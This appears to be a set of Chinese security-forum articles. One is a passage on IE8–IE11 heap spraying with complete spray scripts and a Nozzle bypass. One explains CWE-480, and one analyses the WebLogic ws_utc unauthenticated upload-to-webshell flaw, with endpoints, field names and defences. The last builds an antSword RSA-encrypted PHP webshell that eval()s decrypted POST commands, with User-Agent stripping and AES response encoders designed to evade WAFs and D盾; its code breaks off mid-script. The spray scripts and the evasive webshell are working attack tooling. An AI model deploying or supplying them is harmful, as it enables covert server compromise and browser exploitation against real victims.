var code = unescape("%ucccc%ucccc"); //Code to execute
var nops = unescape("%u9090%u9090"); //NOPs
while (nops.length < 0x1000) nops+= nops; // create big block of nops
var shellcode = nops.substring(0,0x800 - code.length) + code;
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(2, 0x40000 - 0x21);
//spray
for (var i=0; i < 500; i++) {
heap_obj.alloc(block);
}
document.write("Spray done");
// Can't directly drag into iexplore
</script>
</html>
查看分配的内存:
0:016> !heap -flt s 7ffc0
_HEAP @ 140000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
037c0018 fff8 0000 [0b] 037c0020 7ffc0 - (busy VirtualAlloc)
03850018 fff8 fff8 [0b] 03850020 7ffc0 - (busy VirtualAlloc)
038e0018 fff8 fff8 [0b] 038e0020 7ffc0 - (busy VirtualAlloc)
03970018 fff8 fff8 [0b] 03970020 7ffc0 - (busy VirtualAlloc)
03a00018 fff8 fff8 [0b] 03a00020 7ffc0 - (busy VirtualAlloc)
03a90018 fff8 fff8 [0b] 03a90020 7ffc0 - (busy VirtualAlloc)
03b20018 fff8 fff8 [0b] 03b20020 7ffc0 - (busy VirtualAlloc)
03bb0018 fff8 fff8 [0b] 03bb0020 7ffc0 - (busy VirtualAlloc)
...
...
0bfe0018 fff8 fff8 [0b] 0bfe0020 7ffc0 - (busy VirtualAlloc)
0c070018 fff8 fff8 [0b] 0c070020 7ffc0 - (busy VirtualAlloc)
0c100018 fff8 fff8 [0b] 0c100020 7ffc0 - (busy VirtualAlloc)
...
...
0:016> !heap -p -a 0c0c0c0c
address 0c0c0c0c found in
_HEAP @ 140000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0c070018 fff8 0000 [0b] 0c070020 7ffc0 - (busy VirtualAlloc)
可以发现地址都是以0x10000对齐的，这就为精准堆喷打下了基础，可以精确计算堆块中的位置，0x0c0c0c0c处于0x0c070018处的块中。
查看一下0x0c0c0018处的内存:
0:016> dd 0c0c0018
0c0c0018 90909090 cccccccc 90909090 90909090
0c0c0028 90909090 90909090 90909090 90909090
可以知道下一个块起始于0x0c0c0018+0x8，计算ROP起始偏移:
0x0c0c0c0c - 0x0c0c0018 + 0x8 = 0xbec
0xbec / 2 = 0x5f6
假设ROP链为AAAABBBBCCCCDDDD，shellcode为xccxccxccxcc，把脚本改为:
<html>
<script language='javascript'>
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("%ucccc%ucccc");
var rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444");
var padding = unescape("%u9090%u9090");
while (padding.length < 0x1000) padding += padding; // create big block of nops
offset_length = 0x5F6;
junk_offset = padding.substring(0, offset_length);
var shellcode = junk_offset + rop + code + padding.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(2, 0x40000 - 0x21);
for (var i=0; i < 500; i++) {
heap_obj.alloc(block);
}
document.write("Spray done");
</script>
</html>
查看预测地址:
0:019> dd 0c0c0c0c
0c0c0c0c 41414141 42424242 43434343 44444444
0c0c0c1c cccccccc cccccccc cccccccc cccccccc
0c0c0c2c cccccccc cccccccc cccccccc cccccccc
成功实现了精准堆喷射。
**
**
**Vista下的IE9的堆喷射**
IE8下的脚本在IE9下不再有用，因为IE9使用了Nozzle的防御措施，检测包含重复内容的内存申请，然后会阻止这样的申请，导致堆喷失败，由于我们的堆喷是精确的，所以前后的数据都不一定是滑板指令，可以是随机数，可以利用JavaScript的数学随机数生成随机串，绕过检测。
堆喷射脚本，同样需要包含heaplib.js:
<html>
<script language='javascript'>
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("%u6174%u7367"); //tags
for (var i=0; i < 0x800; i++) {
var randomnumber1=Math.floor(Math.random()*90)+10;
var randomnumber2=Math.floor(Math.random()*90)+10;
var randomnumber3=Math.floor(Math.random()*90)+10;
var randomnumber4=Math.floor(Math.random()*90)+10;
var BUNSTstr = "%u" + randomnumber1.toString() + randomnumber2.toString()
BUNSTstr += "%u" + randomnumber3.toString() + randomnumber4.toString()
var BUNST = unescape(BUNSTstr);
while (BUNST.length < 0x1000) BUNST+= BUNST;
var single_sprayblock = BUNST.substring(0, 0x800 - code.length) + code;
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}
document.write("Spray done");
</script>
</html>
首先堆喷是成功的:
0:017> dd 0c0c0c0c
0c0c0c0c 53885684 53885684 53885684 53885684
0c0c0c1c 53885684 53885684 53885684 53885684
由于IE9中的堆喷用之前的方法查看不到堆的情况，所以我把code设为tags，堆喷完成后在内存中搜索tags:
0:017> s -a 0x00000000 L?7fffffff "tags"
00419b75 74 61 67 73 0a 2f 2f 76-61 72 20 72 6f 70 20 3d tags.//var rop =
01ff473f 74 61 67 73 20 28 61 74-74 72 69 62 75 74 65 73 tags (attributes
0207c23c 74 61 67 73 2e 20 41 6c-73 6f 20 61 64 64 69 6e tags. Also addin
...
0396100c 74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17 tags.9...9...9..
0396200c 74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17 tags.9...9...9..
0396300c 74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17 tags.9...9...9..
0396400c 74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17 tags.9...9...9..
0396500c 74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17 tags.9...9...9..
0396600c 74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17 tags.9...9...9..
0396700c 74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17 tags.9...9...9..
0396800c 74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17 tags.9...9...9..
0396900c 74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17 tags.9...9...9..
0396a00c 74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17 tags.9...9...9..
...
...
前面的是脚本在内存中的映射，看后面实际分配的内存，发现此时内存仍然是对齐的，按照0x1000对齐，计算得到偏移为0x5fe。
精准堆喷脚本:
<html>
<script language='javascript'>
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("%ucccc%ucccc");
var rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444");
var offset_length = 0x5fe;
for (var i=0; i < 0x800; i++) {
var randomnumber1=Math.floor(Math.random()*90)+10;
var randomnumber2=Math.floor(Math.random()*90)+10;
var randomnumber3=Math.floor(Math.random()*90)+10;
var randomnumber4=Math.floor(Math.random()*90)+10;
var BUNSTstr = "%u" + randomnumber1.toString() + randomnumber2.toString()
BUNSTstr += "%u" + randomnumber3.toString() + randomnumber4.toString()
var BUNST = unescape(BUNSTstr);
while (BUNST.length < 0x1000) BUNST+= BUNST;
junk_offset = BUNST.substring(0, offset_length);
var single_sprayblock = junk_offset + rop + code + BUNST.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}
document.write("Spray done");
</script>
</html>
结果:
0:022> dd 0c0c0c0c
0c0c0c0c 41414141 42424242 43434343 44444444
0c0c0c1c cccccccc 57376654 57376654 57376654
另外前人总结了不同浏览器下堆喷射的尺寸:
OS & Browser Block syntax
XP SP3 – IE7 block = shellcode.substring(2,0×10000-0×21);
XP SP3 – IE8 block = shellcode.substring(2, 0×40000-0×21);
Vista SP2 – IE7 block = shellcode.substring(0, (0×40000-6)/2);
Vista SP2 – IE8 block = shellcode.substring(0, (0×40000-6)/2);
Win7 – IE8 block = shellcode.substring(0, (0×80000-6)/2);
**Win8下的IE10和IE11的堆喷射**
IE9下的脚本在IE10和IE11中不再适用，IE10和IE11中无法再使用传统的BSTR字符串的方法，而要使用一种称为DEPS的技术，这种技术使用html的标签来进行堆喷射，具体就是创建大量的DOM对象，在对象的某一个属性中填入相应的字符串，这一技术的发明者给出了测试脚本:
<html>
<head></head>
<body>
<div id="blah"></div>
<script language="javascript">
var div_container = document.getElementById("blah");
div_container.style.cssText = "display:none";
var data;
offset = 0x104;
junk = unescape("%u2020%u2020");
while (junk.length < 0x1000) junk += junk;
var rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444");
shellcode = unescape("%ucccc%ucccc");
data = junk.substring(0, offset) + rop + shellcode
data += junk.substring(0, 0x800 - offset - rop.length - shellcode.length);
while (data.length < 0x80000) data += data;
for (var i = 0; i < 0x500; i++)
{
var obj = document.createElement("button");
obj.title = data.substring(0, 0x40000 - 0x58);
div_container.appendChild(obj);
}
document.write("spray done!");
</script>
</body>
</html>
这个脚本先创建了一个div标签，然后加入了大量的button元素，将每个button元素的title设置为要喷射的字符串。
由于win8下现在默认安装的是IE11，而且IE10和IE11差不多，这里用IE11做实验，注意这里不再使用经典的0x0c0c0c0c作为预测地址，而是使用0x20302228作为预测地址，这也算是前人研究的结果。
win8下的IE11:
0:016> dd 20302228
20302228 41414141 42424242 43434343 44444444
20302238 cccccccc 20202020 20202020 20202020
20302248 20202020 20202020 20202020 20202020
对于火狐使用地址是0x20202210或0x20302210，对于IE8、IE9、IE10使用地址为0x20302228或0x20202228。
XP下的IE8:
0:021> dd 0x20302228
20302228 41414141 42424242 43434343 44444444
20302238 cccccccc 20202020 20202020 20202020
20302248 20202020 20202020 20202020 20202020
Vista下的IE9:
0:022> dd 0x20302228
20302228 41414141 42424242 43434343 44444444
20302238 cccccccc 20202020 20202020 20202020
20302248 20202020 20202020 20202020 20202020
这次的堆喷射脚本可能比之前喷射要慢一些。
**
**
**总结**
除了以上的方法，还有HTML5 Spray、ActionScript Spray、Array Object Heap Spraying、JIT
Spray等方法进行堆喷射和绕过浏览器的安全机制，当然现在大部分系统都变成了64位，在64位下的堆喷射由于地址空间过大，所以堆喷射没有什么意义，但在小范围仍有用处。 | 社区文章 |
# 【缺陷周话】第43期：不当的函数地址使用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、不当的函数地址使用
错误的将函数地址当作函数、条件表达式、运算操作对象使用，甚至参与逻辑运算，将导致各种非预期的程序行为发生。比如在如下if语句，其中func()为程序中定义的一个函数:
if (func == NULL)
由于使用 func 而不是 func()，也就是使用的是 func 的地址而不是函数的返回值，而函数的地址不等于 NULL，如果用函数地址与 NULL
作比较时，将使其条件判断恒为false。
详细请参见CWE-480: Use of IncorrectOperator。
## 2、”不当的函数地址使用”的危害
不当的函数地址使用可能会导致非预期的程序行为发生，如条件永远不会被触发而出现的逻辑错误，又或者由于条件恒为真而导致的无限循环，从而造成资源耗尽、拒绝服务等攻击。
## 3、示例代码
示例源于 Samate Juliet TestSuite for C/C++ v1.3
(https://samate.nist.gov/SARD/testsuite.php)，源文件名：CWE480_Use_of_Incorrect_Operator__basic_01.c。
### 3.1 缺陷代码
在上述示例代码中，第53行使用 helperBad==NULL 作为 if 语句的判断条件，其中helperBad()
函数的定义在21行，helperBad==NULL 操作导致 if 语句恒为 false，第55行 printLine()
函数永远不会被执行，存在“不当的函数地址使用”问题。
使用代码卫士对上述示例代码进行检测，可以检出“不当的函数地址使用”缺陷，显示等级为中。如图1所示：
图1：“不当的函数地址使用”检测示例
### 3.2 修复代码
在上述修复代码中，Samate给出的修复方式为：在第52行使用函数返回值替代函数地址进行条件判断，从而避免了“不当的函数地址使用”问题。
使用代码卫士对修复后的代码进行检测，可以看到已不存在“不当的函数地址使用”缺陷。如图2：
图2：修复后检测结果
## 4、如何避免“不当的函数地址使用”
需要明确操作使用的是函数地址还是函数返回值，避免由于编码错误造成的对函数地址的直接使用。 | 社区文章 |
原文来自安全客，作者：Ivan
原文链接：<https://www.anquanke.com/post/id/152823>
#### 0x01 前言
CNCERT前几天发公告称发现Oracle公司出品的基于JavaEE结构的中间件WebLogic产品存在一个远程上传漏洞，并得到了厂商的确认，危害程度评分高达9.8分。鉴于厂商已进行了安全修复，笔者对该漏洞进行了一次分析。WebLogic管理端未授权的两个页面存在任意上传getshell漏洞，可直接获取权限。两个页面分别为`/ws_utc/begin.do`，`/ws_utc/config.do`；漏洞的影响范围
Oracle WebLogic Server，版本10.3.6.0，12.1.3.0，12.2.1.2，12.2.1.3；相关链接：
<http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html#AppendixFMW> ,
下文笔者从这两个文件入手来系统调试跟踪找出漏洞产生的原理和位置。
#### 0x02 漏洞流程
笔者首先访问了一下 <http://IP/ws_utc/config.do> 并且将默认的目录WSTestPageWorkDir修改了为
`user_projects\domains\base_domain\tmp\sd\` 如下图
工作台设置一个新的目录后，weblogic会将原来目录下的子目录和文件一起转移到新设定的目录下，但旧的目录依然保留。因为不是重点，笔者对这块的分析就此略过。笔者从攻击者的维度简单的画了一个草图，最初攻击者肯定需要配置工作目录，因为默认的工作目录在URL访问的时候不可达，然后攻击者考虑是从config.do页面上传keystore文件还是从begin.do上传，最终都是成功上传小马，只是小马的访问格式和路径不尽相同。如下图
如果要从原理上彻底搞清楚weblogic漏洞产生的过程还需要看下图，简单的描述一下，攻击者开始攻击后，Weblogic在服务端做了很多的判断，如果设定了新的工作目录，那么程序会自动拷贝所有旧目录下的子目录和文件到新的设定目录里，并且设定新的目录作为工作目录，如果攻击者通过begin.do上传的话，Weblogic在服务端会判断有没有upload目录，如果不存在会自动创建，再接着在upload目录下创建`Rs_Upload_`格式化后的作为目录名，紧接着获取到`import_file_name`字段名作为后续的文件名拼接的一部分；如果通过config.do上传的话就获取GET请求中的timestamp参数作为后续webshell的文件名中的一部分，还是看下图吧：
#### 0x03 begin.do页面上传漏洞
首先在IDE里搭建好WebLogic环境，把应用跑起来后点击页面右上方的文件夹按钮，这里实现的是一个导入的功能
选择任意文件上传，笔者选择上传jsp文件
抓取数据包可以看到其实真正存在上传漏洞的地址是
<http://IP:7001/ws_utc/resources/ws/config/import?timestamp=1532403983779>
因为是漏洞复现和分析，笔者一边上传的时候就一边把数据包抓取下来，得到下图的HTTP
这段没什么可说的就是一个简单的上传数据流，表单字段import_file_name是关键值，从产品防御的角度来看检测它们也是关键的特征之一。
接下来就需要在IDE里动态定位到漏洞的触发点，因为weblogic大多数漏洞都和T3协议有关联，根据之前分析过的weblogic漏洞定位的调试断点是在com.bea.core.weblogic.rmi.client_4.0.0.0.jar包里，多次调试后一步步跳转到了漏洞触发的核心包
\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\WEB-INF\lib\ws-testpage-impl.jar
并且查到了对应的触发漏洞类名的位置 ：
\com\oracle\webservices\testclient\ws\util\RSDataHelper.class
定位到的方法convertFormDataMultiPart，代码如下：
public KeyValuesMap<String, String> convertFormDataMultiPart(FormDataMultiPart formPartParams, boolean isExtactAttachment) {
File pathFile = new File(TestClientRT.getUploadDir());
if (!pathFile.exists()) {
pathFile.mkdirs();
}
this.cleanObsoleteFile(pathFile);
String dirName = "RS_Upload_" + df.format(new Date());
String uploadPath = (new File(pathFile, dirName)).getAbsolutePath();
return this.convertFormDataMultiPart(formPartParams, isExtactAttachment, uploadPath);
}
代码中检查了当前工作目录下是否存在upload目录，如果没有的话则创建，并且调用了cleanObsoleteFile方法强制遍历了一次目录中所有的文件，并且发现文件就删除掉，调试过程如下图
再创建了一个以字符串Rs_Upload_打头的加格式化后的时间命名的目录，并且作为上传文件保存的目录。
String dirName = "RS_Upload_" + df.format(new Date());
String uploadPath = (new File(pathFile, dirName)).getAbsolutePath();
接下来程序获得了上传的表单的form-data ,
经过循环遍历获取了所有的表单字段和对应的value，数据做两块存储，一块保存在kvMap集合中、获取的附件通过saveAttacheFile方法保存到磁盘中，代码如下
String filename = (new File(storePath, fileNamePrefix + "_" + attachName)).getAbsolutePath(); kvMap.addValue(key, filename);
if (isExtactAttachment)
{
this.saveAttachedFile(filename, (InputStream)bodyPart.getValueAs(InputStream.class));
} else {
kvMap.put(key, new ArrayList());
}
下图红圈处是拼接后的物理路径名
接着追踪调试到 execute方法，位于ImportTestCaseAction.class类
\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\WEB-INF\lib\ws-testpage-impl.jar!\com\oracle\webservices\testclient\ws\action\ImportTestCaseAction.class
public KeyValuesMap<String, String> convertFormDataMultiPart(FormDataMultiPart formPartParams, boolean isExtactAttachment) {
File pathFile = new File(TestClientRT.getUploadDir());
if (!pathFile.exists()) {
pathFile.mkdirs();
}
this.cleanObsoleteFile(pathFile);
String dirName = "RS_Upload_" + df.format(new Date());
String uploadPath = (new File(pathFile, dirName)).getAbsolutePath();
return this.convertFormDataMultiPart(formPartParams, isExtactAttachment, uploadPath);
由于笔者导入的文件格式以及数据并非weblogic能处理的，所以程序在context.createUnmarshaller方法处抛出空指针异常的错误，这就导致了上传成功后Response的状态码是500，这也可以作为防御产品检测的特征之一。动态调试异常如下图
到此begin.do页面未授权访问引起的任意文件上传漏洞已经很明朗，防御的策略可以检测表单字段
Content-Disposition: form-data; name=”import_file_name”; filename=”jsp.jsp”
加上返回的状态码500，并且ResponseBody 如下
导入测试错误com.oracle.webservices.testclient.exception.WSTestRuntimeException: javax.xml.bind.UnmarshalException – with linked exception: [Exception [EclipseLink-25004] (Eclipse Persistence Services – 2.5.2.v20140319-9ad6abd): org.eclipse.persistence.exceptions.XMLMarshalException Exception Description: An error occurred unmarshalling the document Internal Exception
#### 0x04 config.do页面上传漏洞
访问 <http://IP:7001/ws_utc/config.do>
页面后点击左侧的“安全”菜单，添加一个Keystore，任意设置名字和密码，当然文件也是任意格式上传，这里真的很随意。
点击提交后，抓取触发地址：
<http://IP/ws_utc/resources/setting/keystore?timestamp=1532400069848> ; 抓取的包如下
和之前的套路一样，上传的时候就已经打开了IDE调试功能，断点后还是定位到 RSDataHelper.class 文件，如下图
这次获取的表单字段是ks_filename，值得收藏，加入特征检测范畴内；再跟进看下关键的shell生成那一步
上传后的shell位于工作台配置的目录下的/config/keystore/目录中，文件名的格式相对来说简单，采用了POST请求中URL地址上携带的参数timestamp的值加上下划线拼接起来的文件名，让笔者大跌眼镜的是weblogic作为知名软件提供商存在这样低级的漏洞实在匪夷所思，再加上其一系列的反序列化绕过漏洞，只能说weblogic的产品能不用就不用，实在不行少用为妙。
#### 0x05 防御措施
1. 设置Config.do、begin.do页面登录授权后访问；
2. IPS等防御产品可以加入相应的特征；
3. 升级到官方最新版本；
#### 0x06 参考链接
<https://www.secrss.com/articles/4008>
<http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html#AppendixFMW>
* * *
_本文经安全客授权发布，转载请联系安全客平台。_
* * * | 社区文章 |
# 从0到1打造一款堪称完美antSword(蚁剑)
## 0x0 前言
很久之前,自己写了一篇[从静态到动态打造一款免杀的antSword(蚁剑)](https://xz.aliyun.com/t/4000)，然后其他师傅提出了很多我没有考虑到的问题，正巧最近我也遇到这个问题，然后debug+查阅了相关文章，这里我将自己的流程记录下来，方便读者学习。
## 0x1 蚁剑组件介绍
> **1.发包方式**
>
> 蚁剑除了常规的get post发包之外，还有用于绕waf的表单发包,以及最新的分块传输(不稳定)
>
> 对于性能低的waf有很好的免疫效果，默认放行。
>
>
>
>
> **2.编码器**
>
> 用于对请求包进行解码
>
>
>
>
> **3.解码器**
>
> 主要用于对返回数据包进行解码
>
>
>
>
> **4.插件模块**
>
> [开发及其参考链接](https://github.com/AntSword-Store/)
>
> 我们可以利用插件进行一些连动,比如自动上传提权脚本等之类的东西
## 0x2 下载一些前置文件
1.shell脚本大全
`git clone https://github.com/AntSwordProject/AwesomeScript.git`
2.编码器大全
`git clone https://github.com/AntSwordProject/AwesomeEncoder.git`
3.安装前端加密库crypto-js
`npm install crypto-js`
## 0x3 简单了解蚁剑的结构
核心文件主要在`source`目录下
# $ tree -l 1 -d ./
── base
├── core
│ ├── asp
│ │ ├── decoder
│ │ ├── encoder
│ │ └── template
│ │ └── database
│ ├── aspx
│ │ ├── decoder
│ │ ├── encoder
│ │ └── template
│ │ └── database
│ ├── custom
│ │ ├── decoder
│ │ ├── encoder
│ │ └── template
│ │ └── database
│ ├── php
│ │ ├── decoder
│ │ ├── encoder
│ │ └── template
│ │ └── database
│ └── php4
├── language
├── modules
│ ├── database
│ │ ├── asp
│ │ ├── aspx
│ │ ├── custom
│ │ └── php
│ ├── filemanager
│ ├── plugin
│ ├── settings
│ ├── shellmanager
│ │ ├── category
│ │ └── list
│ ├── terminal
│ └── viewsite
└── ui
> 1. base文件夹
>
> (1)检测编码方式然后选择合适的解码
>
> (2)utils存放了一些随机方法
>
> (3)word.js存放了最新的单词变量列表
>
> 2. core
>
> 这是核心代码文件夹
>
> ├── index.js
>
> ├── base.js
>
> ├── php
> │ ├── decoder
> │ │ ├── base64.js
> │ │ ├── default.js
> │ │ └── rot13.js
> │ ├── encoder
> │ │ ├── base64.js
> │ │ ├── chr.js
> │ │ ├── chr16.js
> │ │ └── rot13.js
>
> ...................
>
> 根据语言类别有不同的实现方式,下面我们就针对php来分析下
>
> 3. 其他
>
> 基础代码,这里就略过了
>
>
## 0x4 core部分源码浅析
作者的开发习惯相当好，从注释中我们就能看出相应的函数功能。
`source/code`目录为核心的代码目录
> index.js 加载模块
>
> base.js 加载配置和集成了一些方法,比较重要的有请求中间件返回处理方法
>
> 解密返回包
>
>
>
>
> 加密模版
>
>
>
>
> 这里就是解析模版
>
>
>
>
> command.js 的模版
>
>
>
>
>
> 我们可以看到命令执行的模版其实就是对应上面那个arg生成和处理部分,这就是为什么会有xz师傅提到的原因啦,后来蚁剑作者也给出了方案，只是很多人不会用而已，下面看我怎么操作的吧。
## 0x5 打造一款流量全加密的RSAshell
笔者现在是最新版v2.1.7,不得不说，作者真的是一个无可挑剔的开发者，支持本地直接更新代码。
> 流量加密RSAshell
>
> 优点:
>
> 1.请求包采用rsa非对称加密方式可以有效防止别人窃取shell,而且可以添加时间间隔，阻止别人流量劫持
>
> 2.返回包采用aes 动态对称加密有效免疫waf检测
>
> 》〉下面其实主要是蚁剑的可选功能
>
> 3.采用蚁剑自带的随机参数,有效过掉waf拦截0x等类型的规则
>
> 4.可以选用multipart发包方式，分块传输等方式考验waf的性能。
>
> 缺点:
>
> 1.对hook关键函数然后匹配行为、机器学习等新型waf没有效果
>
> 2.需要openssl扩展
>
> 3.shell体积有点大,比较明显，不好隐藏
首先我们生成rsa配置
这里我们就可以得到我们的公钥、私钥以及我们的phpshell,非常方便
-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCC9BPAAA3EgNhVX9x5kjXwwbrA
AJSSl46CsjcloOjytsQZoR/Tn0QxI/sCaHJ23/DLviDbhZbYh3aJjXDLrGJXnQvx
BUj1a/YZDq/ZqlibffV54ljOhh6A/IIk6KmXXZBETA9GxI32vqDfqvbnuzyZMWvT
ShEmTzwYh4qW53cN+wIDAQAB
-----END PUBLIC KEY-----
-----BEGIN RSA PRIVATE KEY----- xxxxxxxxx
-----END RSA PRIVATE KEY-----
<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCC9BPAAA3EgNhVX9x5kjXwwbrA
AJSSl46CsjcloOjytsQZoR/Tn0QxI/sCaHJ23/DLviDbhZbYh3aJjXDLrGJXnQvx
BUj1a/YZDq/ZqlibffV54ljOhh6A/IIk6KmXXZBETA9GxI32vqDfqvbnuzyZMWvT
ShEmTzwYh4qW53cN+wIDAQAB
-----END PUBLIC KEY----- EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
eval($cmd);
这个木马肯定是被杀的,我们可以稍微处理下过掉D盾和安全狗,后面我会贴上代码。
然后我们新建个RSA的编码器
点击编辑就可以查看到代码
/**
* php::RSA编码器
* Create at: 2019/11/04 11:04:42
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
let n = Math.ceil(data['_'].length / 80);
let l = Math.ceil(data['_'].length / n);
let r = []
for (var i = 0; n > i; i++) {
r.push(ext['rsa'].encryptPrivate(data['_'].substr(i * l, l), 'base64'));
}
data[pwd] = r.join("|");
delete data['_'];
return data;
}
// 这里可以学习学蚁致用添加个时间戳
data["_"] = `if((time()-${parseInt((new Date().getTime())/1000)})>5){die();};${data['_']}`;
//来限制存活时间，但是我个人感觉不是很好,因为时区可能不同。
//我的想法是用个第三方api来判断,需要的时候就开启，打完就关闭。
//或者还是从时间出发,做个类似token获取的东西。执行之前先访问得到token,然后shell端验证。
然后我们先测试下能否成功连接了,记得看burp代理抓下流量包。
1.编码器选择rsa
2.其他设置勾选使用随机英文单词变量,使用multipart发包
3.蚁剑代理设置为burp代理
但是我们执行命令的时候,只是简单进行了一下base64的编码,加上经典的antsowrd UA特征,无疑会被waf标志。
去除UA,很简单,之前我的文章已经介绍了。
参考<https://xz.aliyun.com/t/4000#toc-4>
我这里的UA是: `antSword/v2.1`
这里我为了应对各种情况，比如有时候有些网站会禁止爬虫的UA,所以我这里加了个动态UA
之前我写的那篇文章有个师傅提出来返回包检测的问题，我当时因为在忙其他事情，没时间处理，这里表示下歉意，后来看到师傅自己研究了一波，这里我就做个修饰吧,首先我们要用到蚁剑自带的解码器功能。
网上有一些关于aes的解码器,不过有点依赖性,依赖扩展`openssl_encrypt`,这里的话其实我们可以自写一个异或加密算法。
下面是我的代码,我个人觉得动态密钥没啥必要，直接来个随机数就行了,简单快捷。
然后写一个异或加密就没滋滋了,这里分享下我的编写过程，所谓授人予鱼不如授人以渔。
如果你没有编程基础,建议先去学习下基础内容[Node.js](https://www.runoob.com/nodejs/nodejs-tutorial.html)
$ node 进入终端环境
> var crypto = require("crypto");
> function encryptText(keyStr, text) {
... keyStr = keyStr.split("").map(t => t.charCodeAt(0));
... let cipher = text.split("").map(t => t.charCodeAt(0));
... for( let i = 0; i < cipher.length; i++){
..... cipher[i] = cipher[i] ^ key[i%32];
..... }
... cipher = cipher.map(t=>String.fromCharCode(t)).join("");
... return cipher
... }
undefined
> var key = crypto.randomBytes(32).toString('hex');
undefined
> encryptText(key, "我爱你23".toString());
'我爱佧73'
不过这个运行起来有问题,解决中文乱码其实很简单，把中文base64_encode在解码就好了。
'use strict';
function randomRange(min, max){
var returnStr = "",
range = (max ? Math.round(Math.random() * (max-min)) + min : min),
charStr = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
for(var i=0; i<range; i++){
var index = Math.round(Math.random() * (charStr.length-1));
returnStr += charStr.substring(index,index+1);
}
return returnStr;
}
// 生成动态key
var key = randomRange(32,32);
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
return `function asenc($out){
$key=${key};
$out = base64_encode($out);
$crytxt = '';
$keylen = strlen($key);
for($i=0;$i<strlen($out);$i++)
{
$k = $i%$keylen;
$crytxt .= $out[$i] ^ $key[$k];
}
return @base64_encode($crytxt);
}
`.replace(/\n\s+/g, '');
},
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
function xor_enc(str, key) {
str =Buffer.from(data.toString(), 'base64').toString();
var crytxt = '';
var k, keylen = key.length;
for(var i=0; i<str.length; i++) {
k = i % keylen;
crytxt += String.fromCharCode(str.charCodeAt(i) ^ key.charCodeAt(k));
}
return Buffer.from(crytxt.toString(), 'base64').toString();
// return crytxt;
}
return xor(data, key);
}
}
我这个不知道为什么没办法解密,gg,师傅们可以研究下这个思路.....
这里附送个我修改的aes_256动态密钥加密(这个是我比较常用的，因为一般php默认都开启了openssl扩展)
/**
* php::aes-256-cfb (zeroPadding) 解码器
* Create at: 2019/05/12 15:43:55
*/
'use strict';
const path = require('path');
var CryptoJS = require(path.join(window.antSword.remote.process.env.AS_WORKDIR, 'node_modules/crypto-js'));
function randomRange(min, max){
var returnStr = "",
range = (max ? Math.round(Math.random() * (max-min)) + min : min),
charStr = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
for(var i=0; i<range; i++){
var index = Math.round(Math.random() * (charStr.length-1));
returnStr += charStr.substring(index,index+1);
}
return returnStr;
}
// 生成动态32位动态key
var key = randomRange(32,32);
function decryptText(keyStr, text) {
let buff = Buffer.alloc(32, 'a');
buff.write(keyStr,0);
keyStr = buff.toString();
let decodetext = CryptoJS.AES.decrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {
iv: CryptoJS.enc.Utf8.parse(keyStr),
mode: CryptoJS.mode.CFB,
padding: CryptoJS.pad.ZeroPadding
}).toString(CryptoJS.enc.Utf8);
return decodetext;
}
function encryptText(keyStr, text) {
let buff = Buffer.alloc(32, 'a');
buff.write(keyStr,0);
keyStr = buff.toString();
let encodetext = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {
iv: CryptoJS.enc.Utf8.parse(keyStr),
mode: CryptoJS.mode.CFB,
padding: CryptoJS.pad.ZeroPadding,
}).toString();
return encodetext;
}
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
